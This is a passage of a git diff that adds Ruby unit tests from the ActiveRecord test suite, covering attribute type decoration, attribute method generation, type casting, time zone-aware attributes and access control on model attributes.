+      assert_equal "Hello! decorated! decorated!", model.a_string
+    end
+
+    test "decoration of the same type multiple times is idempotent" do
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+
+      model = Model.new(a_string: "Hello")
+      assert_equal "Hello decorated!", model.a_string
+    end
+
+    test "decorations occur in order of declaration" do
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      Model.decorate_attribute_type(:a_string, :other) do |type|
+        StringDecorator.new(type, "decorated again!")
+      end
+
+      model = Model.new(a_string: "Hello!")
+
+      assert_equal "Hello! decorated! decorated again!", model.a_string
+    end
+
+    test "decorating attributes does not modify parent classes" do
+      Model.attribute :another_string, :string, default: "whatever"
+      Model.decorate_attribute_type(:a_string, :test) { |t| StringDecorator.new(t) }
+      child_class = Class.new(Model)
+      child_class.decorate_attribute_type(:another_string, :test) { |t| StringDecorator.new(t) }
+      child_class.decorate_attribute_type(:a_string, :other) { |t| StringDecorator.new(t) }
+
+      model = Model.new(a_string: "Hello!")
+      child = child_class.new(a_string: "Hello!")
+
+      assert_equal "Hello! decorated!", model.a_string
+      assert_equal "whatever", model.another_string
+      assert_equal "Hello! decorated! decorated!", child.a_string
+      assert_equal "whatever decorated!", child.another_string
+    end
+
+    class Multiplier < SimpleDelegator
+      def cast(value)
+        return if value.nil?
+        value * 2
+      end
+      alias deserialize cast
+    end
+
+    test "decorating with a proc" do
+      Model.attribute :an_int, :integer
+      type_is_integer = proc { |_, type| type.type == :integer }
+      Model.decorate_matching_attribute_types type_is_integer, :multiplier do |type|
+        Multiplier.new(type)
+      end
+
+      model = Model.new(a_string: "whatever", an_int: 1)
+
+      assert_equal "whatever", model.a_string
+      assert_equal 2, model.an_int
+    end
+  end
+end
diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb
new file mode 100644
index 0000000000..0170a6e98d
--- /dev/null
+++ b/activerecord/test/cases/attribute_methods/read_test.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module AttributeMethods
+    class ReadTest < ActiveRecord::TestCase
+      FakeColumn = Struct.new(:name) do
+        def type; :integer; end
+      end
+
+      def setup
+        @klass = Class.new(Class.new { def self.initialize_generated_modules; end }) do
+          def self.superclass; Base; end
+          def self.base_class; self; end
+          def self.decorate_matching_attribute_types(*); end
+
+          include ActiveRecord::DefineCallbacks
+          include ActiveRecord::AttributeMethods
+
+          def self.attribute_names
+            %w{ one two three }
+          end
+
+          def self.primary_key
+          end
+
+          def self.columns
+            attribute_names.map { FakeColumn.new(name) }
+          end
+
+          def self.columns_hash
+            Hash[attribute_names.map { |name|
+              [name, FakeColumn.new(name)]
+            }]
+          end
+        end
+      end
+
+      def test_define_attribute_methods
+        instance = @klass.new
+
+        @klass.attribute_names.each do |name|
+          assert_not_includes instance.methods.map(&:to_s), name
+        end
+
+        @klass.define_attribute_methods
+
+        @klass.attribute_names.each do |name|
+          assert_includes instance.methods.map(&:to_s), name, "#{name} is not defined"
+        end
+      end
+
+      def test_attribute_methods_generated?
+        assert_not @klass.method_defined?(:one)
+        @klass.define_attribute_methods
+        assert @klass.method_defined?(:one)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
new file mode 100644
index 0000000000..0ea8ef5cea
--- /dev/null
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -0,0 +1,1038 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/minimalistic"
+require "models/developer"
+require "models/auto_id"
+require "models/boolean"
+require "models/computer"
+require "models/topic"
+require "models/company"
+require "models/category"
+require "models/reply"
+require "models/contact"
+require "models/keyboard"
+
+class AttributeMethodsTest < ActiveRecord::TestCase
+  include InTimeZone
+
+  fixtures :topics, :developers, :companies, :computers
+
+  def setup
+    @old_matchers = ActiveRecord::Base.send(:attribute_method_matchers).dup
+    @target = Class.new(ActiveRecord::Base)
+    @target.table_name = "topics"
+  end
+
+  teardown do
+    ActiveRecord::Base.send(:attribute_method_matchers).clear
+    ActiveRecord::Base.send(:attribute_method_matchers).concat(@old_matchers)
+  end
+
+  test "attribute_for_inspect with a string" do
+    t = topics(:first)
+    t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
+
+    assert_equal '"The First Topic Now Has A Title With\nNewlines And ..."', t.attribute_for_inspect(:title)
+  end
+
+  test "attribute_for_inspect with a date" do
+    t = topics(:first)
+
+    assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
+  end
+
+  test "attribute_for_inspect with an array" do
+    t = topics(:first)
+    t.content = [Object.new]
+
+    assert_match %r(\[#<Object:0x[0-9a-f]+>\]), t.attribute_for_inspect(:content)
+  end
+
+  test "attribute_for_inspect with a long array" do
+    t = topics(:first)
+    t.content = (1..11).to_a
+
+    assert_equal "[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]", t.attribute_for_inspect(:content)
+  end
+
+  test "attribute_present" do
+    t = Topic.new
+    t.title = "hello there!"
+    t.written_on = Time.now
+    t.author_name = ""
+    assert t.attribute_present?("title")
+    assert t.attribute_present?("written_on")
+    assert !t.attribute_present?("content")
+    assert !t.attribute_present?("author_name")
+  end
+
+  test "attribute_present with booleans" do
+    b1 = Boolean.new
+    b1.value = false
+    assert b1.attribute_present?(:value)
+
+    b2 = Boolean.new
+    b2.value = true
+    assert b2.attribute_present?(:value)
+
+    b3 = Boolean.new
+    assert !b3.attribute_present?(:value)
+
+    b4 = Boolean.new
+    b4.value = false
+    b4.save!
+    assert Boolean.find(b4.id).attribute_present?(:value)
+  end
+
+  test "caching a nil primary key" do
+    klass = Class.new(Minimalistic)
+    assert_called(klass, :reset_primary_key, returns: nil) do
+      2.times { klass.primary_key }
+    end
+  end
+
+  test "attribute keys on a new instance" do
+    t = Topic.new
+    assert_nil t.title, "The topics table has a title column, so it should be nil"
+    assert_raise(NoMethodError) { t.title2 }
+  end
+
+  test "boolean attributes" do
+    assert !Topic.find(1).approved?
+    assert Topic.find(2).approved?
+  end
+
+  test "set attributes" do
+    topic = Topic.find(1)
+    topic.attributes = { title: "Budget", author_name: "Jason" }
+    topic.save
+    assert_equal("Budget", topic.title)
+    assert_equal("Jason", topic.author_name)
+    assert_equal(topics(:first).author_email_address, Topic.find(1).author_email_address)
+  end
+
+  test "set attributes without a hash" do
+    topic = Topic.new
+    assert_raise(ArgumentError) { topic.attributes = "" }
+  end
+
+  test "integers as nil" do
+    test = AutoId.create(value: "")
+    assert_nil AutoId.find(test.id).value
+  end
+
+  test "set attributes with a block" do
+    topic = Topic.new do |t|
+      t.title       = "Budget"
+      t.author_name = "Jason"
+    end
+
+    assert_equal("Budget", topic.title)
+    assert_equal("Jason", topic.author_name)
+  end
+
+  test "respond_to?" do
+    topic = Topic.find(1)
+    assert_respond_to topic, "title"
+    assert_respond_to topic, "title?"
+    assert_respond_to topic, "title="
+    assert_respond_to topic, :title
+    assert_respond_to topic, :title?
+    assert_respond_to topic, :title=
+    assert_respond_to topic, "author_name"
+    assert_respond_to topic, "attribute_names"
+    assert !topic.respond_to?("nothingness")
+    assert !topic.respond_to?(:nothingness)
+  end
+
+  test "respond_to? with a custom primary key" do
+    keyboard = Keyboard.create
+    assert_not_nil keyboard.key_number
+    assert_equal keyboard.key_number, keyboard.id
+    assert keyboard.respond_to?("key_number")
+    assert keyboard.respond_to?("id")
+  end
+
+  test "id_before_type_cast with a custom primary key" do
+    keyboard = Keyboard.create
+    keyboard.key_number = "10"
+    assert_equal "10", keyboard.id_before_type_cast
+    assert_nil keyboard.read_attribute_before_type_cast("id")
+    assert_equal "10", keyboard.read_attribute_before_type_cast("key_number")
+    assert_equal "10", keyboard.read_attribute_before_type_cast(:key_number)
+  end
+
+  # Syck calls respond_to? before actually calling initialize.
+  test "respond_to? with an allocated object" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "topics"
+    end
+
+    topic = klass.allocate
+    assert !topic.respond_to?("nothingness")
+    assert !topic.respond_to?(:nothingness)
+    assert_respond_to topic, "title"
+    assert_respond_to topic, :title
+  end
+
+  # IRB inspects the return value of MyModel.allocate.
+  test "allocated objects can be inspected" do
+    topic = Topic.allocate
+    assert_equal "#<Topic not initialized>", topic.inspect
+  end
+
+  test "array content" do
+    content = %w( one two three )
+    topic = Topic.new
+    topic.content = content
+    topic.save
+
+    assert_equal content, Topic.find(topic.id).content
+  end
+
+  test "read attributes_before_type_cast" do
+    category = Category.new(name: "Test category", type: nil)
+    category_attrs = { "name" => "Test category", "id" => nil, "type" => nil, "categorizations_count" => nil }
+    assert_equal category_attrs, category.attributes_before_type_cast
+  end
+
+  if current_adapter?(:Mysql2Adapter)
+    test "read attributes_before_type_cast on a boolean" do
+      bool = Boolean.create!("value" => false)
+      if RUBY_PLATFORM.include?("java")
+        # JRuby will return the value before typecast as string.
+        assert_equal "0", bool.reload.attributes_before_type_cast["value"]
+      else
+        assert_equal 0, bool.reload.attributes_before_type_cast["value"]
+      end
+    end
+  end
+
+  test "read attributes_before_type_cast on a datetime" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+
+      record.written_on = "345643456"
+      assert_equal "345643456", record.written_on_before_type_cast
+      assert_nil record.written_on
+
+      record.written_on = "2009-10-11 12:13:14"
+      assert_equal "2009-10-11 12:13:14", record.written_on_before_type_cast
+      assert_equal Time.zone.parse("2009-10-11 12:13:14"), record.written_on
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+    end
+  end
+
+  test "read attributes_after_type_cast on a date" do
+    tz = "Pacific Time (US & Canada)"
+
+    in_time_zone tz do
+      record = @target.new
+
+      date_string = "2011-03-24"
+      time        = Time.zone.parse date_string
+
+      record.written_on = date_string
+      assert_equal date_string, record.written_on_before_type_cast
+      assert_equal time, record.written_on
+      assert_equal ActiveSupport::TimeZone[tz], record.written_on.time_zone
+
+      record.save
+      record.reload
+
+      assert_equal time, record.written_on
+    end
+  end
+
+  test "hash content" do
+    topic = Topic.new
+    topic.content = { "one" => 1, "two" => 2 }
+    topic.save
+
+    assert_equal 2, Topic.find(topic.id).content["two"]
+
+    topic.content_will_change!
+    topic.content["three"] = 3
+    topic.save
+
+    assert_equal 3, Topic.find(topic.id).content["three"]
+  end
+
+  test "update array content" do
+    topic = Topic.new
+    topic.content = %w( one two three )
+
+    topic.content.push "four"
+    assert_equal(%w( one two three four ), topic.content)
+
+    topic.save
+
+    topic = Topic.find(topic.id)
+    topic.content << "five"
+    assert_equal(%w( one two three four five ), topic.content)
+  end
+
+  test "case-sensitive attributes hash" do
+    # DB2 is not case-sensitive.
+    return true if current_adapter?(:DB2Adapter)
+
+    assert_equal @loaded_fixtures["computers"]["workstation"].to_hash, Computer.first.attributes
+  end
+
+  test "attributes without primary key" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers_projects"
+    end
+
+    assert_equal klass.column_names, klass.new.attributes.keys
+    assert_not klass.new.has_attribute?("id")
+  end
+
+  test "hashes are not mangled" do
+    new_topic = { title: "New Topic" }
+    new_topic_values = { title: "AnotherTopic" }
+
+    topic = Topic.new(new_topic)
+    assert_equal new_topic[:title], topic.title
+
+    topic.attributes = new_topic_values
+    assert_equal new_topic_values[:title], topic.title
+  end
+
+  test "create through factory" do
+    topic = Topic.create(title: "New Topic")
+    topicReloaded = Topic.find(topic.id)
+    assert_equal(topic, topicReloaded)
+  end
+
+  test "write_attribute" do
+    topic = Topic.new
+    topic.send(:write_attribute, :title, "Still another topic")
+    assert_equal "Still another topic", topic.title
+
+    topic[:title] = "Still another topic: part 2"
+    assert_equal "Still another topic: part 2", topic.title
+
+    topic.send(:write_attribute, "title", "Still another topic: part 3")
+    assert_equal "Still another topic: part 3", topic.title
+
+    topic["title"] = "Still another topic: part 4"
+    assert_equal "Still another topic: part 4", topic.title
+  end
+
+  test "write_attribute can write aliased attributes as well" do
+    topic = Topic.new(title: "Don't change the topic")
+    topic.write_attribute :heading, "New topic"
+
+    assert_equal "New topic", topic.title
+  end
+
+  test "read_attribute" do
+    topic = Topic.new
+    topic.title = "Don't change the topic"
+    assert_equal "Don't change the topic", topic.read_attribute("title")
+    assert_equal "Don't change the topic", topic["title"]
+
+    assert_equal "Don't change the topic", topic.read_attribute(:title)
+    assert_equal "Don't change the topic", topic[:title]
+  end
+
+  test "read_attribute can read aliased attributes as well" do
+    topic = Topic.new(title: "Don't change the topic")
+
+    assert_equal "Don't change the topic", topic.read_attribute("heading")
+    assert_equal "Don't change the topic", topic["heading"]
+
+    assert_equal "Don't change the topic", topic.read_attribute(:heading)
+    assert_equal "Don't change the topic", topic[:heading]
+  end
+
+  test "read_attribute raises ActiveModel::MissingAttributeError when the attribute does not exist" do
+    computer = Computer.select("id").first
+    assert_raises(ActiveModel::MissingAttributeError) { computer[:developer] }
+    assert_raises(ActiveModel::MissingAttributeError) { computer[:extendedWarranty] }
+    assert_raises(ActiveModel::MissingAttributeError) { computer[:no_column_exists] = "Hello!" }
+    assert_nothing_raised { computer[:developer] = "Hello!" }
+  end
+
+  test "read_attribute when false" do
+    topic = topics(:first)
+    topic.approved = false
+    assert !topic.approved?, "approved should be false"
+    topic.approved = "false"
+    assert !topic.approved?, "approved should be false"
+  end
+
+  test "read_attribute when true" do
+    topic = topics(:first)
+    topic.approved = true
+    assert topic.approved?, "approved should be true"
+    topic.approved = "true"
+    assert topic.approved?, "approved should be true"
+  end
+
+  test "boolean attributes writing and reading" do
+    topic = Topic.new
+    topic.approved = "false"
+    assert !topic.approved?, "approved should be false"
+
+    topic.approved = "false"
+    assert !topic.approved?, "approved should be false"
+
+    topic.approved = "true"
+    assert topic.approved?, "approved should be true"
+
+    topic.approved = "true"
+    assert topic.approved?, "approved should be true"
+  end
+
+  test "overridden write_attribute" do
+    topic = Topic.new
+    def topic.write_attribute(attr_name, value)
+      super(attr_name, value.downcase)
+    end
+
+    topic.send(:write_attribute, :title, "Yet another topic")
+    assert_equal "yet another topic", topic.title
+
+    topic[:title] = "Yet another topic: part 2"
+    assert_equal "yet another topic: part 2", topic.title
+
+    topic.send(:write_attribute, "title", "Yet another topic: part 3")
+    assert_equal "yet another topic: part 3", topic.title
+
+    topic["title"] = "Yet another topic: part 4"
+    assert_equal "yet another topic: part 4", topic.title
+  end
+
+  test "overridden read_attribute" do
+    topic = Topic.new
+    topic.title = "Stop changing the topic"
+    def topic.read_attribute(attr_name)
+      super(attr_name).upcase
+    end
+
+    assert_equal "STOP CHANGING THE TOPIC", topic.read_attribute("title")
+    assert_equal "STOP CHANGING THE TOPIC", topic["title"]
+
+    assert_equal "STOP CHANGING THE TOPIC", topic.read_attribute(:title)
+    assert_equal "STOP CHANGING THE TOPIC", topic[:title]
+  end
+
+  test "read overridden attribute" do
+    topic = Topic.new(title: "a")
+    def topic.title() "b" end
+    assert_equal "a", topic[:title]
+  end
+
+  test "string attribute predicate" do
+    [nil, "", " "].each do |value|
+      assert_equal false, Topic.new(author_name: value).author_name?
+    end
+
+    assert_equal true, Topic.new(author_name: "Name").author_name?
+  end
+
+  test "number attribute predicate" do
+    [nil, 0, "0"].each do |value|
+      assert_equal false, Developer.new(salary: value).salary?
+    end
+
+    assert_equal true, Developer.new(salary: 1).salary?
+    assert_equal true, Developer.new(salary: "1").salary?
+  end
+
+  test "boolean attribute predicate" do
+    [nil, "", false, "false", "f", 0].each do |value|
+      assert_equal false, Topic.new(approved: value).approved?
+    end
+
+    [true, "true", "1", 1].each do |value|
+      assert_equal true, Topic.new(approved: value).approved?
+    end
+  end
+
+  test "custom field attribute predicate" do
+    object = Company.find_by_sql(<<-SQL).first
+      SELECT c1.*, c2.type as string_value, c2.rating as int_value
+        FROM companies c1, companies c2
+       WHERE c1.firm_id = c2.id
+         AND c1.id = 2
+    SQL
+
+    assert_equal "Firm", object.string_value
+    assert object.string_value?
+
+    object.string_value = "  "
+    assert !object.string_value?
+
+    assert_equal 1, object.int_value.to_i
+    assert object.int_value?
+
+    object.int_value = "0"
+    assert !object.int_value?
+  end
+
+  test "non-attribute read and write" do
+    topic = Topic.new
+    assert !topic.respond_to?("mumbo")
+    assert_raise(NoMethodError) { topic.mumbo }
+    assert_raise(NoMethodError) { topic.mumbo = 5 }
+  end
+
+  test "undeclared attribute method does not affect respond_to? and method_missing" do
+    topic = @target.new(title: "Budget")
+    assert topic.respond_to?("title")
+    assert_equal "Budget", topic.title
+    assert !topic.respond_to?("title_hello_world")
+    assert_raise(NoMethodError) { topic.title_hello_world }
+  end
+
+  test "declared prefixed attribute method affects respond_to? and method_missing" do
+    topic = @target.new(title: "Budget")
+    %w(default_ title_).each do |prefix|
+      @target.class_eval "def #{prefix}attribute(*args) args end"
+      @target.attribute_method_prefix prefix
+
+      meth = "#{prefix}title"
+      assert topic.respond_to?(meth)
+      assert_equal ["title"], topic.send(meth)
+      assert_equal ["title", "a"], topic.send(meth, "a")
+      assert_equal ["title", 1, 2, 3], topic.send(meth, 1, 2, 3)
+    end
+  end
+
+  test "declared suffixed attribute method affects respond_to? and method_missing" do
+    %w(_default _title_default _it! _candidate= able?).each do |suffix|
+      @target.class_eval "def attribute#{suffix}(*args) args end"
+      @target.attribute_method_suffix suffix
+      topic = @target.new(title: "Budget")
+
+      meth = "title#{suffix}"
+      assert topic.respond_to?(meth)
+      assert_equal ["title"], topic.send(meth)
+      assert_equal ["title", "a"], topic.send(meth, "a")
+      assert_equal ["title", 1, 2, 3], topic.send(meth, 1, 2, 3)
+    end
+  end
+
+  test "declared affixed attribute method affects respond_to? and method_missing" do
+    [["mark_", "_for_update"], ["reset_", "!"], ["default_", "_value?"]].each do |prefix, suffix|
+      @target.class_eval "def #{prefix}attribute#{suffix}(*args) args end"
+      @target.attribute_method_affix(prefix: prefix, suffix: suffix)
+      topic = @target.new(title: "Budget")
+
+      meth = "#{prefix}title#{suffix}"
+      assert topic.respond_to?(meth)
+      assert_equal ["title"], topic.send(meth)
+      assert_equal ["title", "a"], topic.send(meth, "a")
+      assert_equal ["title", 1, 2, 3], topic.send(meth, 1, 2, 3)
+    end
+  end
+
+  test "should unserialize attributes for frozen records" do
+    myobj = { value1: :value2 }
+    topic = Topic.create(content: myobj)
+    topic.freeze
+    assert_equal myobj, topic.content
+  end
+
+  test "typecast attribute from select to false" do
+    Topic.create(title: "Budget")
+    # Oracle does not support boolean expressions in SELECT.
+    if current_adapter?(:OracleAdapter, :FbAdapter)
+      topic = Topic.all.merge!(select: "topics.*, 0 as is_test").first
+    else
+      topic = Topic.all.merge!(select: "topics.*, 1=2 as is_test").first
+    end
+    assert !topic.is_test?
+  end
+
+  test "typecast attribute from select to true" do
+    Topic.create(title: "Budget")
+    # Oracle does not support boolean expressions in SELECT.
+    if current_adapter?(:OracleAdapter, :FbAdapter)
+      topic = Topic.all.merge!(select: "topics.*, 1 as is_test").first
+    else
+      topic = Topic.all.merge!(select: "topics.*, 2=2 as is_test").first
+    end
+    assert topic.is_test?
+  end
+
+  test "raises ActiveRecord::DangerousAttributeError when defining an AR method in a model" do
+    %w(save create_or_update).each do |method|
+      klass = Class.new(ActiveRecord::Base)
+      klass.class_eval "def #{method}() 'defined #{method}' end"
+      assert_raise ActiveRecord::DangerousAttributeError do
+        klass.instance_method_already_implemented?(method)
+      end
+    end
+  end
+
+  test "converted values are returned after assignment" do
+    developer = Developer.new(name: 1337, salary: "50000")
+
+    assert_equal "50000", developer.salary_before_type_cast
+    assert_equal 1337, developer.name_before_type_cast
+
+    assert_equal 50000, developer.salary
+    assert_equal "1337", developer.name
+
+    developer.save!
+
+    assert_equal 50000, developer.salary
+    assert_equal "1337", developer.name
+  end
+
+  test "write nil to time attribute" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+      record.written_on = nil
+      assert_nil record.written_on
+    end
+  end
+
+  test "write time to date attribute" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+      record.last_read = Time.utc(2010, 1, 1, 10)
+      assert_equal Date.civil(2010, 1, 1), record.last_read
+    end
+  end
+
+  test "time attributes are retrieved in the current time zone" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      utc_time = Time.utc(2008, 1, 1)
+      record   = @target.new
+      record[:written_on] = utc_time
+      assert_equal utc_time, record.written_on # record.written on is equal to (i.e., simultaneous with) utc_time
+      assert_kind_of ActiveSupport::TimeWithZone, record.written_on # but is a TimeWithZone
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone # and is in the current Time.zone
+      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time # and represents time values adjusted accordingly
+    end
+  end
+
+  test "setting a time zone-aware attribute to UTC" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      utc_time = Time.utc(2008, 1, 1)
+      record   = @target.new
+      record.written_on = utc_time
+      assert_equal utc_time, record.written_on
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+    end
+  end
+
+  test "setting time zone-aware attribute in other time zone" do
+    utc_time = Time.utc(2008, 1, 1)
+    cst_time = utc_time.in_time_zone("Central Time (US & Canada)")
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+      record.written_on = cst_time
+      assert_equal utc_time, record.written_on
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+    end
+  end
+
+  test "setting time zone-aware read attribute" do
+    utc_time = Time.utc(2008, 1, 1)
+    cst_time = utc_time.in_time_zone("Central Time (US & Canada)")
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.create(written_on: cst_time).reload
+      assert_equal utc_time, record[:written_on]
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record[:written_on].time_zone
+      assert_equal Time.utc(2007, 12, 31, 16), record[:written_on].time
+    end
+  end
+
+  test "setting time zone-aware attribute with a string" do
+    utc_time = Time.utc(2008, 1, 1)
+    (-11..13).each do |timezone_offset|
+      time_string = utc_time.in_time_zone(timezone_offset).to_s
+      in_time_zone "Pacific Time (US & Canada)" do
+        record = @target.new
+        record.written_on = time_string
+        assert_equal Time.zone.parse(time_string), record.written_on
+        assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+        assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+      end
+    end
+  end
+
+  test "time zone-aware attribute saved" do
+    in_time_zone 1 do
+      record = @target.create(written_on: "2012-02-20 10:00")
+
+      record.written_on = "2012-02-20 09:00"
+      record.save
+      assert_equal Time.zone.local(2012, 02, 20, 9), record.reload.written_on
+    end
+  end
+
+  test "setting a time zone-aware attribute to a blank string returns nil" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+      record.written_on = " "
+      assert_nil record.written_on
+      assert_nil record[:written_on]
+    end
+  end
+
+  test "setting a time zone-aware attribute interprets time zone-unaware string in time zone" do
+    time_string = "Tue Jan 01 00:00:00 2008"
+    (-11..13).each do |timezone_offset|
+      in_time_zone timezone_offset do
+        record = @target.new
+        record.written_on = time_string
+        assert_equal Time.zone.parse(time_string), record.written_on
+        assert_equal ActiveSupport::TimeZone[timezone_offset], record.written_on.time_zone
+        assert_equal Time.utc(2008, 1, 1), record.written_on.time
+      end
+    end
+  end
+
+  test "setting a time zone-aware datetime in the current time zone" do
+    utc_time = Time.utc(2008, 1, 1)
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+      record.written_on = utc_time.in_time_zone
+      assert_equal utc_time, record.written_on
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
+      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
+    end
+  end
+
+  test "YAML dumping a record with time zone-aware attribute" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = Topic.new(id: 1)
+      record.written_on = "Jan 01 00:00:00 2014"
+      assert_equal record, YAML.load(YAML.dump(record))
+    end
+  end
+
+  test "setting a time zone-aware time in the current time zone" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new
+      time_string = "10:00:00"
+      expected_time = Time.zone.parse("2000-01-01 #{time_string}")
+
+      record.bonus_time = time_string
+      assert_equal expected_time, record.bonus_time
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.bonus_time.time_zone
+
+      record.bonus_time = ""
+      assert_nil record.bonus_time
+    end
+  end
+
+  test "setting a time zone-aware time with DST" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      current_time = Time.zone.local(2014, 06, 15, 10)
+      record = @target.new(bonus_time: current_time)
+      time_before_save = record.bonus_time
+
+      record.save
+      record.reload
+
+      assert_equal time_before_save, record.bonus_time
+      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.bonus_time.time_zone
+    end
+  end
+
+  test "removing time zone-aware types" do
+    with_time_zone_aware_types(:datetime) do
+      in_time_zone "Pacific Time (US & Canada)" do
+        record = @target.new(bonus_time: "10:00:00")
+        expected_time = Time.utc(2000, 01, 01, 10)
+
+        assert_equal expected_time, record.bonus_time
+        assert record.bonus_time.utc?
+      end
+    end
+  end
+
+  test "time zone-aware attributes do not recurse infinitely on invalid values" do
+    in_time_zone "Pacific Time (US & Canada)" do
+      record = @target.new(bonus_time: [])
+      assert_nil record.bonus_time
+    end
+  end
+
+  test "setting a time_zone_conversion_for_attributes should write the value on a class variable" do
+    Topic.skip_time_zone_conversion_for_attributes = [:field_a]
+    Minimalistic.skip_time_zone_conversion_for_attributes = [:field_b]
+
+    assert_equal [:field_a], Topic.skip_time_zone_conversion_for_attributes
+    assert_equal [:field_b], Minimalistic.skip_time_zone_conversion_for_attributes
+  end
+
+  test "attribute readers respect access control" do
+    privatize("title")
+
+    topic = @target.new(title: "The pros and cons of programming naked.")
+    assert !topic.respond_to?(:title)
+    exception = assert_raise(NoMethodError) { topic.title }
+    assert_includes exception.message, "private method"
+    assert_equal "I'm private", topic.send(:title)
+  end
+
+  test "attribute writers respect access control" do
+    privatize("title=(value)")
+
+    topic = @target.new
+    assert !topic.respond_to?(:title=)
+    exception = assert_raise(NoMethodError) { topic.title = "Pants" }
+    assert_includes exception.message, "private method"
+    topic.send(:title=, "Very large pants")
+  end
+
+  test "attribute predicates respect access control" do
+    privatize("title?")
+
+    topic = @target.new(title: "Isaac Newton's pants")
+    assert !topic.respond_to?(:title?)
+    exception = assert_raise(NoMethodError) { topic.title? }
+    assert_includes exception.message, "private method"
+    assert topic.send(:title?)
+  end
+
+  test "bulk updates respect access control" do
+    privatize("title=(value)")
+
+    assert_raise(ActiveRecord::UnknownAttributeError) { @target.new(title: "Rants about pants") }
+    assert_raise(ActiveRecord::UnknownAttributeError) { @target.new.attributes = { title: "Ants in pants" } }
+  end
+
+  test "bulk update raises ActiveRecord::UnknownAttributeError" do
+    error = assert_raises(ActiveRecord::UnknownAttributeError) {
+      Topic.new(hello: "world")
+    }
+    assert_instance_of Topic, error.record
+    assert_equal "hello", error.attribute
+    assert_equal "unknown attribute 'hello' for Topic.", error.message
+  end
+
+  test "method overrides in multi-level subclasses" do
+    klass = Class.new(Developer) do
+      def name
+        "dev:#{read_attribute(:name)}"
+      end
+    end
+
+    2.times { klass = Class.new(klass) }
+    dev = klass.new(name: "arthurnn")
+    dev.save!
+    assert_equal "dev:arthurnn", dev.reload.name
+  end
+
+  test "global methods are overwritten" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "computers"
+    end
+
+    assert !klass.instance_method_already_implemented?(:system)
+    computer = klass.new
+    assert_nil computer.system
+  end
+
+  test "global methods are overwritten when subclassing" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.abstract_class = true
+    end
+
+    subklass = Class.new(klass) do
+      self.table_name = "computers"
+    end
+
+    assert !klass.instance_method_already_implemented?(:system)
+    assert !subklass.instance_method_already_implemented?(:system)
+    computer = subklass.new
+    assert_nil computer.system
+  end
+
+  test "instance methods should be defined on the base class" do
+    subklass = Class.new(Topic)
+
+    Topic.define_attribute_methods
+
+    instance = subklass.new
+    instance.id = 5
+    assert_equal 5, instance.id
+    assert subklass.method_defined?(:id), "subklass is missing id method"
+
+    Topic.undefine_attribute_methods
+
+    assert_equal 5, instance.id
+    assert subklass.method_defined?(:id), "subklass is missing id method"
+  end
+
+  test "define_attribute_method works with both symbol and string" do
+    klass = Class.new(ActiveRecord::Base)
+
+    assert_nothing_raised { klass.define_attribute_method(:foo) }
+    assert_nothing_raised { klass.define_attribute_method("bar") }
+  end
+
+  test "read_attribute with nil should not asplode" do
+    assert_nil Topic.new.read_attribute(nil)
+  end
+
+  # If B < A, and A defines an accessor for 'foo', we don't want to override
+  # that by defining a 'foo' method in the generated methods module for B.
+  # (That module will be inserted between the two, e.g. [B, <GeneratedAttributes>, A].)
+  test "inherited custom accessors" do
+    klass = new_topic_like_ar_class do
+      self.abstract_class = true
+      def title; "omg"; end
+      def title=(val); self.author_name = val; end
+    end
+    subklass = Class.new(klass)
+    [klass, subklass].each(&:define_attribute_methods)
+
+    topic = subklass.find(1)
+    assert_equal "omg", topic.title
+
+    topic.title = "lol"
+    assert_equal "lol", topic.author_name
+  end
+
+  test "inherited custom accessors with reserved names" do
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "computers"
+      self.abstract_class = true
+      def system; "omg"; end
+      def system=(val); self.developer = val; end
+    end
+
+    subklass = Class.new(klass)
+    [klass, subklass].each(&:define_attribute_methods)
+
+    computer = subklass.find(1)
